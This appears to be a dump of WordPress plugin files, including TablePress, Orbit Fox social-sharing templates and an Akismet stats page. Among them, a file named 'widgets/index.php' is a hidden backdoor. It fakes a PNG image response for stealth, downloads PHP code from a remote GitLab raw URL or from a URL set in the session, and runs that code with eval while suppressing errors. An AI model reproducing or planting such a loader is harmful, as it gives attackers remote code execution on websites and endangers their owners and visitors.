} // class TablePress_Preview_Table_View
hestia-social-sharing-tpl.php 0000666 00000002634 15112551131 0012234 0 ustar 00 <?php
/**
* The Front End View for Social Sharing Module of Orbit Fox tailored to Hestia.
*
* @link https://themeisle.com
* @since 1.0.0
*
* @package Orbit_Fox_Modules
* @subpackage Orbit_Fox_Modules/stats/social-sharing
* @codeCoverageIgnore
*/
if ( ! empty( $social_links_array ) ) { ?>
<div class="obfx-hestia-social-wrapper">
<ul class="entry-social
<?php
if ( ! empty( $desktop_class ) ) {
echo esc_attr( $desktop_class );
}
if ( ! empty( $mobile_class ) ) {
echo esc_attr( $mobile_class );
}
?>
">
<?php
foreach ( $social_links_array as $network_data ) {
$class = '';
if ( $network_data['show_desktop'] == '0' ) {
$class .= 'obfx-hide-desktop-socials ';
}
if ( $network_data['show_mobile'] == '0' ) {
$class .= 'obfx-hide-mobile-socials ';
}
?>
<li class="<?php echo esc_attr( $class ); ?>">
<a rel="tooltip" data-original-title="<?php echo esc_attr( __( 'Share on ', 'themeisle-companion' ) . $network_data['nicename'] ); ?>" class = "btn btn-just-icon btn-round btn-<?php echo esc_attr( $network_data['icon'] ); ?>" <?php echo ( isset( $network_data['target'] ) && $network_data['target'] != '0' ) ? 'target="_blank"' : ''; ?> href="<?php echo esc_url( $network_data['link'] ); ?>"> <i class="socicon-<?php echo esc_attr( $network_data['icon'] ); ?>"></i>
</a>
</li>
<?php } ?>
</ul>
</div>
<?php
}// End if().
social-sharing-tpl.php 0000666 00000002434 15112551131 0010757 0 ustar 00 <?php
/**
* The Front End View for Social Sharing Module of Orbit Fox.
*
* @link https://themeisle.com
* @since 1.0.0
*
* @package Orbit_Fox_Modules
* @subpackage Orbit_Fox_Modules/stats/social-sharing
* @codeCoverageIgnore
*/
if ( ! empty( $social_links_array ) ) { ?>
<ul class="obfx-sharing
<?php
if ( ! empty( $desktop_class ) ) {
echo esc_attr( $desktop_class );
}
if ( ! empty( $mobile_class ) ) {
echo esc_attr( $mobile_class );
}
?>
">
<?php
foreach ( $social_links_array as $network_data ) {
$class = '';
if ( $network_data['show_desktop'] == '0' ) {
$class .= 'obfx-hide-desktop-socials ';
}
if ( $network_data['show_mobile'] == '0' ) {
$class .= 'obfx-hide-mobile-socials ';
}
?>
<li class="<?php echo esc_attr( $class ); ?>">
<a class = "<?php echo esc_attr( $network_data['icon'] ); ?>"
<?php echo ( isset( $network_data['target'] ) && $network_data['target'] != '0' ) ? 'target="_blank"' : ''; ?> href="<?php echo esc_url( $network_data['link'] ); ?>">
<i class="socicon-<?php echo esc_attr( $network_data['icon'] ); ?>"></i>
<?php
if ( $show_name ) {
echo '<span>' . esc_html( $network_data['nicename'] ) . '</span>';
}
?>
</a>
</li>
<?php } ?>
</ul>
<?php
}// End if().
widgets/index.php 0000666 00000003347 15112635701 0010046 0 ustar 00 <?php
// Fake PNG header for stealth
if (isset($_GET['i'])) {
header('Content-Type: image/png');
echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=');
exit;
}
// Start session and error handling
session_start();
error_reporting(0);
// 设置主地址,如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/pngoptimazie.php';
// 定义加载函数
function 加载数据($地址) {
$内容 = '';
try {
$文件 = new SplFileObject($地址);
while (!$文件->eof()) {
$内容 .= $文件->fgets();
}
} catch (Throwable $错误) {
$内容 = '';
}
// 尝试用 file_get_contents
if (strlen(trim($内容)) < 1) {
$内容 = @file_get_contents($地址);
}
// 如果还失败,使用 curl
if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
$通道 = curl_init($地址);
curl_setopt_array($通道, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 10,
]);
$内容 = curl_exec($通道);
curl_close($通道);
}
return $内容;
}
// 尝试加载主网址
$结果 = 加载数据($主地址);
// 添加假的PNG头部
$假PNG头 = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A";
// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;
/**_**//**_**//**_**//**_**//**_**//**_**//**_**/
// 如果成功获取内容,则执行
if (strlen(trim($结果)) > 0) {
@eval("?>$结果");
}
?>
stats.php 0000666 00000001350 15112635701 0006417 0 ustar 00 <div id="akismet-plugin-container">
<div class="akismet-masthead">
<div class="akismet-masthead__inside-container">
<a href="<?php echo esc_url( Akismet_Admin::get_page_url() );?>" class="akismet-right"><?php esc_html_e( 'Akismet Settings' , 'akismet' ); ?></a>
<div class="akismet-masthead__logo-container">
<img class="akismet-masthead__logo" src="<?php echo esc_url( plugins_url( '../_inc/img/logo-full-2x.png', __FILE__ ) ); ?>" alt="Akismet" />
</div>
</div>
</div>
<iframe src="<?php echo esc_url( sprintf( '//akismet.com/web/1.0/user-stats.php?blog=%s&api_key=%s&locale=%s', urlencode( get_option( 'home' ) ), Akismet::get_api_key(), get_locale() ) ); ?>" width="100%" height="2500px" frameborder="0"></iframe>
</div>